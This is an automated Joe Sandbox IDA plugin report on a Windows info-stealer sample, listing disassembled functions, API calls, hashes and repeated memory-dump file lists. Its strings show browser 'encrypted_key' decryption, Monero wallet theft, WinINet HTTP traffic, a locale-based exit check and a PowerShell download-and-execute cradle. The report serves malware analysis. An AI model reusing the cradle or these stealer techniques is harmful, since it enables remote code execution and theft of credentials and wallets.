Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 5ea0cd1377f17a91c8db30d0121781266e2c01ea2d9568ec343852bf432c4d65
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 5ea0cd1377f17a91c8db30d0121781266e2c01ea2d9568ec343852bf432c4d65
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 004152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,013FFA98), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,013FF490,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
lstrlen.KERNEL32(00000000), ref: 0041532F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
lstrlen.KERNEL32(00000000), ref: 00415383
lstrlen.KERNEL32(00000000), ref: 004153AE

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Strings

ERROR, xrefs: 00415432
ERROR, xrefs: 0041546F
ERROR, xrefs: 004154A9
ERROR, xrefs: 0041530A
ERROR, xrefs: 004153B9

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 26e10d3e8bddccc0382971031118a1d58bbec3cdb1d8f5b43c13ead5653a218c
Instruction ID: 8e3669378ba984e7eb22d5618695ba2ad112acd51e9a1f307bfaedfeefe5f398
Opcode Fuzzy Hash: 26e10d3e8bddccc0382971031118a1d58bbec3cdb1d8f5b43c13ead5653a218c
Instruction Fuzzy Hash: 78515230911108EBCB14FF61CD92AED3779AF50354F50401EF40A6B591DF386B96CB6A

Function 004112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: d2fb589f3047639e4cbe41ddad45dadc5911aad42aa5122e5585b63ae9855203
Instruction ID: 8f77db2cc486247241b58733e7a197f47fd3c900dd097c40ee77b9ecd9679042
Opcode Fuzzy Hash: d2fb589f3047639e4cbe41ddad45dadc5911aad42aa5122e5585b63ae9855203
Instruction Fuzzy Hash: B5C1C5B5941208ABCB14EF60DC89FEA7379BF54304F0045DEF50AA7241DA78AAC5CFA5

Function 00414280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 004142EC
lstrcat.KERNEL32(?,013FF550), ref: 0041430B
lstrcat.KERNEL32(?,?), ref: 0041431F
lstrcat.KERNEL32(?,013FD840), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00401B54,?,?,0042564C,?,?,00420E1F), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(0040148F), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,013FF3E8), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

lstrcat.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcat.KERNEL32(00000000,00000000), ref: 004144D2
lstrcat.KERNEL32(00000000,?), ref: 004144E5
lstrcat.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 48bd8de4313194b7a8d402b4626aa0b56cebd1837471966bb034b16a1e1971d4
Instruction ID: a5198fa5e07789026832278fb63e6519fd9175fef9d9e490f25f85c6c7a477ec
Opcode Fuzzy Hash: 48bd8de4313194b7a8d402b4626aa0b56cebd1837471966bb034b16a1e1971d4
Instruction Fuzzy Hash: 6D7156B6A10208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

*, xrefs: 0041678C

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 004192F8, 004192FB
:A, xrefs: 00419311, 0041933D, 00419314

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 00414780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,013FF550), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414801
lstrcat.KERNEL32(?,?), ref: 00414820
lstrcat.KERNEL32(?,?), ref: 00414834
lstrcat.KERNEL32(?,013EA520), ref: 00414847
lstrcat.KERNEL32(?,?), ref: 0041485B
lstrcat.KERNEL32(?,013FE390), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00401B54,?,?,0042564C,?,?,00420E1F), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: RtlAllocateHeap.NTDLL(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: bba377f5cc0e1a60be71bd292b92601cf53cc3d4e084bff178d713f85ea2e9c1
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: bba377f5cc0e1a60be71bd292b92601cf53cc3d4e084bff178d713f85ea2e9c1
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
<, xrefs: 00412D39
')", xrefs: 00412CB3

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
